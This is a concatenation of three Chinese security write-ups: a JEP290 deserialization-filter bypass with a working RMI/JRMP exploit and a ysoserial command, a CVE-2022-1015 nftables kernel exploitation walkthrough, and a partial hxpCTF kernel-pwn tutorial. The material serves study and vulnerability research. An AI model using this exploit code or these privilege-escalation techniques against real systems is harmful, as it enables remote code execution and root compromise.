浅谈 JEP290
0x01 前言 属于是拖了很久的文章了,4.18 筹划着开始写,6.22 左右才真正开始提笔。 一开始提到这个概念可能会比较懵逼,其实这就是为什么高版本 jdk 有部分能打 jndi,打不了 RMI 8u121 ~ 8u230 打不了 RMI 0x02 关于 JEP290 JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,主要做了以下几件事 1、提供一个限制反序列化类的机制,白名单或者黑名单。2、限制反序列化的深度和复杂度。3、为 RMI 远程调用对象提供了一个验证类的机制。4、定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。 官方从 8u121,7u13,6u141 分别支持了这个 JEP 0x03 JEP290 防御手段分析 先起一个 RMI 的服务,代码详见 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI 尝试去攻击,这里会报错,报错部分信息为 java.io.ObjectInputStream filterCheck 信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler 可以先看一下官方文档对于 JEP290 的描述 http://openjdk.java.net/jeps/290 我们很容易通过描述来看对应增加的 Filter 点是什么,如图找到了 ObjectInputFilter 相关的类 我这里去看了看 ObjectInputFilter 相关的类,断点是下不去的,所以去到控制台去看,发现在 RegistryImpl_Skel 类中也存在报错现象,而这个类在 RMI 中是用来做反序列化的方法的。 跟进,ObjectInputStream 类调用了 readObject0() 方法,继续跟进 先获取输入当中 blkmode,如果数据为 true,则继续进行后续判断,后续做了一部分的数据处理工作,我们直接来看最重要的地方 1573 行,调用了 checkResolve() 方法,跟进 跟进 readClassDesc() 方法,这个方法主要是读取并返回类描述符,并判断这一类描述符是否可以解析为本地 VM 中的类。 在 readClassDesc() 方法中,判断 tc 所对应的类型,这里跟进 readProxyDesc() 方法 readProxyDesc() 方法做完一系列基础判断之后调用了 filterCheck() 方法,跟进 而 filterCheck() 方法又调用了 checkInput() 方法,这里应该是最终来判断输入是否合法的地方。 这里的判断会进行两次,一个是开启 JVM 的 java.rmi.Remote 类,另一个是我们放入的恶意利用类 sun.reflect.annotation.AnnotationInvocationHandler,第一次会先判断 java.rmi.Remote 类是否合法 对应的判断代码,其实也就是白名单了。代码会首先判断 var2 是否等于 String 类型。如果不是,则继续判断它是否满足下列几个条件中的任意一个: return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var 而这里,我们的 sun.reflect.annotation.AnnotationInvocationHandler 类并不在这些白名单中,所以会被过滤 0x04 JEP290 绕过 这里我们可以先看一下白名单里面都能过什么,白名单如下 String.class Number.class Remote.class Proxy.class UnicastRef.class RMIClientSocketFactory.class RMIServerSocketFactory.class ActivationID.class UID.class 这里我觉得还是得从它在 JDK8u221 的具体环境下的流程分析入手,看一下在攻击流程之后哪里可以能够被利用,哪里可以 bypass 绕过利用 思考了在 RMI 的流程当中,哪一步能够绕过 JEP290 的检测,最终是 JRMP 的这一步,能够绕过,从原理图来说的话应该是这样 先用 ysoserial 开启 JRMP 3333 端口的监听 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc" 然后编写 RMI 的 EXP import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; public class BypassJEP290 {    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222        ObjID id = new ObjID(new Random().nextInt());        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);        Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {                Registry.class       }, obj);        reg.bind("Hello",proxy);   } } 这个 payload 的原理就是伪造了一个 UnicastRef 用于跟注册中心通信,我们从 bind() 方法开始分析一下这一整个流程。 绕过分析 我们通过 getRegistry 时获得的注册中心,其实就是一个封装了 UnicastServerRef 对象的对象 当我们调用 bind 方法后,会通过 UnicastRef 对象中存储的信息与注册中心进行通信 这里会通过 ref 与注册中心通信,并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化 接着来看看 yso 中的 JRMPClient 是做了什么操作 ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {    Registry.class }, obj); return proxy; 这里返回了一个代理对象,上面用的这些类都在白名单里,当注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去: 这里的调用栈非常长,总体上来说就是在做我上面所说的工作,调用栈如下 readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io)     // 从此处开始,会遇到很多字节码不匹配的问题 dispatch:92, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:469, UnicastServerRef (sun.rmi.server) dispatch:301, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang) 一路跟进到 sun.rmi.transport.LiveRef#read 可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。 跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系。 到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进 releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法 var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息 接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下 里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进。 在 dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。 invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP 至此绕过分析结束 0x05 小结 本身 JEP290 的绕过分析的思路是非常清晰的,但是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机。
Nftables栈溢出漏洞(CVE-2022-1015)复现
背景介绍 Nftables Nftables 是一个基于内核的包过滤框架,用于 Linux操作系统中的网络安全和防火墙功能。nftables的设计目标是提供一种更简单、更灵活和更高效的方式来管理网络数据包的流量。 钩子点(Hook Point) 钩子点的作用是拦截数据包,然后对数据包进行修改,比较,丢弃和放行等操作。 // include/uapi/linux/netfilter_ipv4.h #define NF_IP_PRE_ROUTING   0 /* After promisc drops, checksum checks. */ #define NF_IP_LOCAL_IN       1 /* If the packet is destined for this box. */ #define NF_IP_FORWARD       2 /* If the packet is destined for another interface. */ #define NF_IP_LOCAL_OUT     3 /* Packets coming from a local process. */ #define NF_IP_POST_ROUTING   4 /* Packets about to hit the wire. */ #define NF_IP_NUMHOOKS       5 Nftables的架构 Nftables由四部分组成 table(表):用于指定网络协议的类型,如ip,ip6,arp等 chains(链):用于指定流量的类型,如流入的流量或者是流出的流量并可以指定网络接口,如本地回环接口或者以太网接口等。 rules(规则):规则是用于过滤数据包所依据的规则,例如检查协议、来源、目的地、端口等规则。 express(表达式):表达式则是具体的操作。 使用非常形象的图描述,如下 表达式(express) 表达式是对一个数据包具体的操作,这里大致介绍后续需要用到的表达式。 nft_payload nft_payload用于将数据包的值拷贝到寄存器中 struct nft_payload { enum nft_payload_bases base:8; u8 offset; u8 len; u8 dreg; }; base:数据包类型 offset:数据包起始位置的偏移 len:拷贝的长度 dreg:目的寄存器 其中base的类型由enum nft_payload_bases指定 /* include/uapi/linux/netfilter/nf_tables.h */ /** * enum nft_payload_bases - nf_tables payload expression offset bases * * @NFT_PAYLOAD_LL_HEADER: link layer header * @NFT_PAYLOAD_NETWORK_HEADER: network header * @NFT_PAYLOAD_TRANSPORT_HEADER: transport header * @NFT_PAYLOAD_INNER_HEADER: inner header / payload */ enum nft_payload_bases { NFT_PAYLOAD_LL_HEADER, //链路层 NFT_PAYLOAD_NETWORK_HEADER, //网络层 NFT_PAYLOAD_TRANSPORT_HEADER, //传输层 NFT_PAYLOAD_INNER_HEADER, //数据包内部 }; 下面这个例子则是将传输层的包偏移16个字节的位置,取出两个字节的内容存放到目的寄存器中,该寄存器的编号为2 base = NFT_PAYLOAD_TRANSPORT_HEADER offset = 16 -> the checksum is 16 bytes away from the start of the TCP header len = 2 -> the checksum is 2 bytes dreg = NFT_REG32_02 (the small registers start frrom NFT_REG32_00) nft_payload_set nft_payload_set则是与nft_payload相反,该表达式是将指定寄存器的值存放到数据包里面 /* include/net/netfilter/nf_tables_core.h */ struct nft_payload_set { enum nft_payload_bases base:8; u8 offset; u8 len; u8 sreg; u8 csum_type; u8 csum_offset; u8 csum_flags; }; 与nft_payload不同的是多了校验和的可选选项 nft_cmp_expr nft_cmp_expr表达式则是用于比较,通常用于判断数据包的端口号是否是需要符合要求。 struct nft_cmp_expr { struct nft_data data; u8 sreg; u8 len; enum nft_cmp_ops op:8; }; data:用于设置比较的常量值 sreg:源寄存器,可以认为是数据包取出的内容 len:比较的长度 op:比较的操作,具体操作类型如下所示 <!-- -->/** * enum nft_cmp_ops - nf_tables relational operator * * @NFT_CMP_EQ: equal * @NFT_CMP_NEQ: not equal * @NFT_CMP_LT: less than * @NFT_CMP_LTE: less than or equal to * @NFT_CMP_GT: greater than * @NFT_CMP_GTE: greater than or equal to */ enum nft_cmp_ops { NFT_CMP_EQ, NFT_CMP_NEQ, NFT_CMP_LT, NFT_CMP_LTE, NFT_CMP_GT, NFT_CMP_GTE, }; nft_bitwise nft_bitwise用于对数据包进行比特级别的操作。例如移位,掩码设置等。 struct nft_bitwise { u8 sreg; u8 dreg; enum nft_bitwise_ops op:8; u8 len; struct nft_data mask; struct nft_data xor; struct nft_data data; }; sreg:源寄存器 dreg:目的寄存器,用于存放最后的结果 op:指定具体的比特操作,具体操作如下 <!-- -->/** * enum nft_bitwise_ops - nf_tables bitwise operations * * @NFT_BITWISE_BOOL: mask-and-xor operation used to implement NOT, AND, OR and *                   XOR boolean operations * @NFT_BITWISE_LSHIFT: left-shift operation * @NFT_BITWISE_RSHIFT: right-shift operation */ enum nft_bitwise_ops { NFT_BITWISE_BOOL, NFT_BITWISE_LSHIFT, NFT_BITWISE_RSHIFT, }; mask:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与mask中指定的值进行掩码设置操作。并将结果存放到dreg中 xor:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与xor中指定的值进行掩码设置操作。并将结果存放到dreg中 data:当op被指定为NFT_BITWISE_LSHIFT或NFT_BITWISE_RSHIFT时,data需要被指定移位的数值。 寄存器(register) 在Nftables中是以寄存器作为存储区,用于存放一段连续的内存,现在Nftables版本每个寄存器的值存放4字节数据,而旧版的Nftables的每个寄存器是存放16个字节的数据,为了保持兼容性,4字节的寄存与16字节的寄存器都被保留。寄存器的枚举值如下所示 enum nft_registers { NFT_REG_VERDICT, //判定寄存器 NFT_REG_1, NFT_REG_2, NFT_REG_3, NFT_REG_4, __NFT_REG_MAX, NFT_REG32_00 = 8, NFT_REG32_01, NFT_REG32_02, ... NFT_REG32_13, NFT_REG32_14, NFT_REG32_15, }; 其中NFT_REG_VERDICT被称之为判断寄存器,这个寄存器比较特殊,是用于判定每个数据包需要怎么处理。判定的类型如下 NFT_CONTINUE:允许数据包通过防火墙 NFT_BREAK:跳过剩余的规则表达式 NF_DROP:直接丢弃数据包 NF_ACCEPT:接收数据包 NFT_GOTO:跳转到其他链执行 NFT_JUMP:跳转到其他链执行,若其他链将该数据包判定为NFT_CONTINUE则返回当前链 libmnl与libnftnl 由于Nftables处于内核,需要从用户层向内核发送消息去设置需要拦截数据包的属性,人工构造成本较大,因此使用现成的库libmnl与libnftnl 环境搭建 环境版本 ubuntu 20.04 qemu-system-x86_64 4.2.1 Linux-5.17源码 设置编译选项 cd /home/pwn/CVE/CVE-2022-1015/CVE-2022-1015/linux-5.17 sudo gedit .config #将下列选项设置为y CONFIG_NF_TABLES=y CONFIG_NETFILTER_NETLINK=y CONFIG_USER_NS=y CONFIG_E1000=y CONFIG_E1000E=y make -j32 bzImage #编译 #安装依赖库 sudo apt-get install libmnl-dev sudo apt-get install libnftnl-dev 漏洞验证 若运行exp显示超过边界则代表没有漏洞 若exp正常运行则代表漏洞 漏洞分析 源码分析 nft_parse_register_load nft_cmp_expr:op=NFT_CMP_EQ sreg=8data=IPPROTO_TCP。该表达式是一个比较的表达式,用于比较下标为8的寄存器中的数据是否为TCP的协议。那么如何将下表为8的寄存器转化为内核中寄存器的内存位置,则需要以来下面列举的函数。 nft_parse_register_load函数就是将用户设定的寄存器的下标转化为内核寄存器的下标,然后存储在源寄存器中。 File: net\netfilter\nf_tables_api.c 9325: int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len) 9326: { 9327: u32 reg; 9328: int err; 9329: 9330: reg = nft_parse_register(attr); //用于提取数据包中的寄存器的下标,并转化为Nftables中寄存器的下标 9331: err = nft_validate_register_load(reg, len); //用于检验寄存器下表的合法性,漏洞点 9332: if (err < 0) 9333: return err; 9334: 9335: *sreg = reg; //然后将寄存器的下标值存储在源寄存器中 9336: return 0; 9337: } nft_parse_register nft_parse_register函数用于将用户设置的寄存器下标转化为内核中寄存器的下标。 File: net\netfilter\nf_tables_api.c 9278: static unsigned int nft_parse_register(const struct nlattr *attr) 9279: { 9280: unsigned int reg; 9281: 9282: reg = ntohl(nla_get_be32(attr)); //提取数据包的寄存器下标,比如上述例子为8 9283: switch (reg) {       //0 - 4是16字节寄存器 9284: case NFT_REG_VERDICT...NFT_REG_4: 9285: return reg * NFT_REG_SIZE / NFT_REG32_SIZE; //reg * 4 9286: default:       //由于4字节寄存器起始下标为8,因此要减去起始下标 9287: return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; // reg - 4 9288: } 9289: } nft_validate_register_load nft_validate_register_load函数则是用于校验下标是否有问题,但是这个检验存在整型溢出的问题。reg是枚举值,而枚举通常会被编译为int类型。len代表数据包的长度。 正常情况下:reg = 100,那么套入校验则为100 * 4 + 0x10 = 0x1a0 >0x50,那么会检验出寄存器下标存在问题 漏洞情况:reg =0xffffffff(int情况下的最大值),那么逃入检验则为0xffffffff * 4 +0x10 =0x40000000c,由于int最大值为0xffffffff,那么最高4个比特会被舍弃,那么最后得到的值为0x0000000c,此时0xc< 0x50,就可以绕过检验。那么绕过检验后就会执行* sreg =reg,此时reg = 0xffffffff,就会导致*sreg = 0xff <!-- -->File: net\netfilter\nf_tables_api.c 9313: static int nft_validate_register_load(enum nft_registers reg, unsigned int len) 9314: { 9315: if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) // reg < 4则报错 9316: return -EINVAL; 9317: if (len == 0) //长度为0则报错 9318: return -EINVAL; 9319: if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) //reg * 4 + len > 0x50则报错,存在整型溢出漏洞 9320: return -ERANGE; 9321: 9322: return 0; 9323: } nft_do_chain 每一个被拦截的数据包都需要经过链上的表达式进行处理,而链处理的函数则为nft_do_chains,这个函数会提取出相应的表达式,最后调用expr_call_ops_eval函数进行处理。 File: net\netfilter\nf_tables_core.c 197: unsigned int 198: nft_do_chain(struct nft_pktinfo *pkt, void *priv) 199: {   ... 224: for (; rule < last_rule; rule = nft_rule_next(rule)) { 225: nft_rule_dp_for_each_expr(expr, last, rule) { 226: if (expr->ops == &nft_cmp_fast_ops) 227: nft_cmp_fast_eval(expr, &regs); 228: else if (expr->ops == &nft_bitwise_fast_ops) 229: nft_bitwise_fast_eval(expr, &regs); 230: else if (expr->ops != &nft_payload_fast_ops || 231: !nft_payload_fast_eval(expr, &regs, pkt)) 232: expr_call_ops_eval(expr, &regs, pkt); 233: 234: if (regs.verdict.code != NFT_CONTINUE) 235: break; 236: }   ... expr_call_ops_eval expr_call_ops_eval函数则是根据不同的表达式选择不同的处理函数,例如若该数据包需要经过nft_payload的表达式处理,则会调用nft_payload_eval。 File: net\netfilter\nf_tables_core.c 161: static void expr_call_ops_eval(const struct nft_expr *expr, 162:       struct nft_regs *regs, 163:       struct nft_pktinfo *pkt) 164: { 165: #ifdef CONFIG_RETPOLINE 166: unsigned long e = (unsigned long)expr->ops->eval; 167: #define X(e, fun) \ 168: do { if ((e) == (unsigned long)(fun)) \ 169: return fun(expr, regs, pkt); } while (0) 170: 171: X(e, nft_payload_eval); 172: X(e, nft_cmp_eval); 173: X(e, nft_counter_eval); 174: X(e, nft_meta_get_eval); 175: X(e, nft_lookup_eval); 176: X(e, nft_range_eval); 177: X(e, nft_immediate_eval); 178: X(e, nft_byteorder_eval); 179: X(e, nft_dynset_eval); 180: X(e, nft_rt_get_eval); 181: X(e, nft_bitwise_eval); 182: #undef  X 183: #endif /* CONFIG_RETPOLINE */ 184: expr->ops->eval(expr, regs, pkt); 185: } nft_payload_eval 这里可以看到regs存放在栈上面,dest这个变量值是通过&regs->data[priv->dreg]取出来的,而priv->dreg则是通过上述的nft_parse_register_load函数进行提取的,那么这里就存在一个非常明显的数组越界的漏洞。 File: net\netfilter\nft_payload.c 121: void nft_payload_eval(const struct nft_expr *expr, 122:      struct nft_regs *regs, 123:      const struct nft_pktinfo *pkt) 124: { 125: const struct nft_payload *priv = nft_expr_priv(expr); 126: const struct sk_buff *skb = pkt->skb; 127: u32 *dest = &regs->data[priv->dreg]; ... 165: if (skb_copy_bits(skb, offset, dest, priv->len) < 0) //拷贝数据 166: goto err; 167: return; 168: err: 169: regs->verdict.code = NFT_BREAK; 170: } 因此整型溢出结合越界就能够使我们访问到内核栈上的其他数据,如下图所示。 漏洞利用 漏洞利用分析 现在我们拥有了访问内核栈上其它地址的能力了,想要做到任意代码执行则需要考虑下列几种情况 由于返回地址存在在栈上,需要判断数组越界是否能够到达返回地址的位置 如何通过数组越界改写返回地址 由于需要进行任意代码执行,那么需要用到内核函数,则需要得到内核的程序基地址才能够根据函数偏移地址计算出函数的实际地址 由于表达式都会对寄存器空间进行操作,因此可以使用表达式对内存空间进行读写操作。 nft_bitwise表达式可以控制源寄存器和目的寄存器,那么采用nft_bitwise可以将源寄存器的内容放置到目的寄存器中,因此可以利用nft_bitwise进行越界读,此时需要分析该数组越界读的边界的大小是多少。这里需要注意的是由于len是sreg与dreg共同拥有的,为了dreg不越界,这里的长度最大值只能为0x40而不能为0xff,因为拥有16个寄存器,每个寄存器的值为4个字节,因此16* 4 = 64 = 0x40 上界:(0xffffffff * 4) + 0x40 = 0x40000003c = 0x3c < 0x50 , 0xff* 4 = 0x3fc;由于可以拷贝0x40个字节的长度,因此0x3fc + 0x40 =0x43c。 下界:(0xfffffff0 * 4 ) + 0x40 = 0x400000000 = 0x0 < 0x50, 0xf0 *4 = 0x3c0 内核地址泄露 接着查看regs偏移0x3c0处的地址信息,结果发现在该片区域存在一个明显的内核地址,因此若能将这个地址进行泄露,我们就能获取内核的基地址。 返回地址覆盖 由于需要构建的payload比较长,而我们如果利用nft_wise最多只能写入0x43c -0x3c0 =0x7c的长度,是远远不够的,因此对返回地址进行覆盖时不能使用nft_bitwise,而得改用nft_payload。nft_payload需要dreg的下标以及修改的长度len,由于我们只需要考虑一个寄存器的值,因此该寄存器的长度最大可以达到0xff。因此我们可以在地址更低的位置去搜索有无可以覆盖的返回地址。 可以发现在0x360的地址处也有一个内核的代码段地址 并且可以发现该函数主要是处理udp包的发送 为了检验该地址是否能够修改程序的执行流程,可以使用一个方法,将该地址的值修改为非法值并观察内核是否会崩溃,这里将地址的内容修改为0x1122334455667788,接着运行程序。 可以看到内核报错的信息显示RIP的地址为刚刚我们修改的地址,因此该地址可以作为被劫持程序执行流程的地址。 exp分析 现在我们已经具有了两个利用条件 泄露内核的程序基地址 找到可以劫持程序执行流程的地址值 地址泄露 利用nft_bitwise泄露地址,这里注意的是在使用nft_bitwise泄露地址时,需要将data值设置为0,这样就不会进行移位而导致我们的内核地址被修改存储,最后将泄露的地址值放置在NFT_REG32_05下标的寄存器中 接着使用nft_set_payload将udp数据包的值修改为NFT_REG32_05寄存器的值,最后取出udp数据包的值,获取内核程序地址值 返回地址覆盖 利用nft_payload完成返回地址的覆盖 在数据包中将payload填充进去,这里需要说明一下如何在内核中拿到shell权限 首先需要在内核中拿到root权限,需要调用commit_creds(prepare_kernel_cred(0))的内核函数获取新的凭证结构,而该结构的uid = 0 ,gid =0即为root权限 其次需要切换命名空间,由于在普通用户下是无法直接调用Nftables的,因为需要管理员的权限,因此在普通用户下需要新开辟一个命名空间,使得该空间与正常的空间隔离,此时才能够正常执行Nftales。那么如果逃逸这段命名空间则需要进行命名空间的切换,则依赖于switch_task_namespace函数,可以将命名空间切换为root的命名空间 最后则是实现从内核态切换到用户态,由于我们是在内核空间拿到权限,而我们需要在用户态执行,因此需要完成状态的转换,该状态转换依赖于swapgs_restore_regs函数 漏洞修复 补丁则是新增一条判断条件,属于4字节寄存器的下标单独处理,而不在16字节寄存器以及4字节寄存器的范围内的下标都进行报错处理 总结 Nftables栈溢出漏洞攻击流程 首先利用nft_bitwise进行内核基地址的泄露。 其次是利用nft_payload改写返回地址,并将提权代码注入进去。 最后等到代码被触发。 Nftables栈溢出漏洞利用的限制 不同的内核版本的内核栈布局几乎不同,因此不同版本之间的利用手法相差较大,因此漏洞的利用十分依赖于内核版本,针对不同的版本需要做出针对性的漏洞利用的exp编写。差别存在于内核栈中存在的内核代码段地址的偏移不同,例如有些内核代码段地址偏移距离regs太大,导致无法利用漏洞进行泄露或者改写。
kernel pwn入门
Linux Kernel 介绍 Linux 内核是 Linux操作系统的核心组件,它提供了操作系统的基本功能和服务。它是一个开源软件,由Linus Torvalds 在 1991 年开始开发,并得到了全球广泛的贡献和支持。 Linux内核的主要功能包括进程管理、内存管理、文件系统、网络通信、设备驱动程序等。它负责管理计算机硬件和软件资源,并为应用程序提供必要的基础支持。Linux内核是一个模块化的系统,可以根据需要加载和卸载各种驱动程序和功能模块。 Linux Kernel 环境 vmlinuz或bzImage:linux内核的压缩镜像 vmlinux:linux内核的符号表 initramfs.cpio.gz:文件系统,有系统启动的信息 run.sh:qemu启动的shell脚本,里面有linux内核开启了哪些保护 Linux Kernel gadget获取 通过压缩的linux内核镜像获取符号表 ./extract-image.sh ./vmlinuz > vmlinux extract-image.sh #!/bin/sh # SPDX-License-Identifier: GPL-2.0-only # ---------------------------------------------------------------------- # extract-vmlinux - Extract uncompressed vmlinux from a kernel image # # Inspired from extract-ikconfig # (c) 2009,2010 Dick Streefland <dick@streefland.net> # # (c) 2011     Corentin Chary <corentin.chary@gmail.com> # # ---------------------------------------------------------------------- check_vmlinux() { # Use readelf to check if it's a valid ELF # TODO: find a better to way to check that it's really vmlinux #       and not just an elf readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0 } try_decompress() { # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern. # Try to find the header ($1) and decompress from here for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` do pos=${pos%%:*} tail -c+$pos "$img" | $3 > $tmp 2> /dev/null check_vmlinux $tmp done } # Check invocation: me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img" ] then echo "Usage: $me <kernel-image>" >&2 exit 2 fi # Prepare temp files: tmp=$(mktemp /tmp/vmlinux-XXX) trap "rm -f $tmp" 0 # That didn't work, so retry after decompression. try_decompress '\037\213\010' xy   gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh'         xy   bunzip2 try_decompress '\135\0\0\0'   xxx   unlzma try_decompress '\211\114\132' xy    'lzop -d' try_decompress '\002!L\030'   xxx   'lz4 -d' try_decompress '(\265/\375'   xxx   unzstd # Finally check for uncompressed images or objects: check_vmlinux $img # Bail out: echo "$me: Cannot find vmlinux." >&2 ROPgadget获取 不建议用ROPgadget,速度比较慢 ROPgadget --binary ./vmlinux > gadgets.txt Ropper获取 使用ropper速度会比较快 ropper --file ./vmlinux --nocolor > g 直接获取 ./vmlinux > gadgets.txt 然后搜索 cat gadgets.txt | grep 'pop' 文件系统 解包 mkdir initramfs cd initramfs cp ../initramfs.cpio.gz . gunzip ./initramfs.cpio.gz cpio -idm < ./initramfs.cpio rm initramfs.cpio 打包 gcc -o exploit -static $1 mv ./exploit ./initramfs cd initramfs find . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > initramfs.cpio.gz mv ./initramfs.cpio.gz ../ Linux Kernel的保护措施 Kernel stack cookies【canary】:防止内核栈溢出 Kernel address space layout【KASLR】:内核地址随机化 Supervisor mode executionprotection【SMEP】:内核态中不能执行用户空间的代码。在内核中可以将CR4寄存器的第20比特设置为1,表示启用。 开启:在-cpu参数中设置+smep 关闭:nosmep添加到-append Supervisor Mode AccessPrevention【SMAP】:在内核态中不能读写用户页的数据。在内核中可以将CR4寄存器的第21比特设置为1,表示启用。 开启:在-cpu参数中设置+smap 关闭:nosmap添加到-append Kernel page-tableisolation【KPTI】:将用户页与内核页分隔开,在用户态时只使用用户页,而在内核态时使用内核页。 开启:kpti=1 关闭:nopti添加到-append hxpCTF 2020 kernel-rop 这里使用hxpCTF2020的内核题作为例子,对内核中的保护以及如何绕过做简单介绍。 项目地址:https://github.com/h0pe-ay/Kernel-Pwn hackme_read 这个函数会将内核栈的数据拷贝到用户空间中去,因此可以利用改函数泄露内核栈的信息 hackme_write hackme_write这个函数则是从用户空间拷贝数据到内核栈中,但是变量V5的存储空间是远远小于从用户态中可以传的数据的大小,因此导致了出现内核态栈溢出。 动态调试 首先在启动脚本run.sh中加入-s的参数,使得可以使用gdb对qemu进行调试 其次可以使用lsmod查看模块加载的基址,这里需要注意的是需要先将启动脚本中的权限改为0 否则直接运行不会显示模块的地址,结果如下 将权限修改为0之后,就可以正常显示了 然后通过gdb进行调试时则可以将模块的基地址加入进去,使用add-symbol-file hackme.ko 0xffffffffc0000000 接着是从题目给的内核镜像中提取符号信息,通过./extract-image.sh vmlinuz > vmlinux,并且也加载到gdb中 最后就可以开启远程调试了,target remote:1234 这里需要注意的是ida中显示的地址可能不准确,因此可以直接在qemu中查看,cat /proc/kallsyms | grep hackme 在hackme_write中打下断点 这里我遇到个问题是在遇到push指令时不能够使用ni进行跟踪,而是需要si,否则会跑飞。 使用ni进行单步调试,程序会直接运行,无法断下来。 使用si则可以单步 至此就可以对hackme.ko的模块进行调试了。 未开启保护 首先是关闭内核中所有的保护,在遇到内核栈溢出时需要怎么完成漏洞利用。 run.sh 在append使用使用nosmap、nosemp、nokaslr、nopti关闭smap、semp、kaslr以及kpti的保护 qemu-system-x86_64 \    -m 128M \    -cpu kvm64\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nosemp nokaslr nopti quiet panic=1" \    -s ret2user 由于题目没有开启任何保护,因此首要使用的方法就是利用栈溢出修改内核栈上的返回地址。 首先检查一下保护,发现hackme.ko开启的canary的保护,因此想要完成栈溢出,首先需要泄露canary,由于题目本身就存在地址泄露功能,因此只要确保我们读取的内容包括canary的值即可 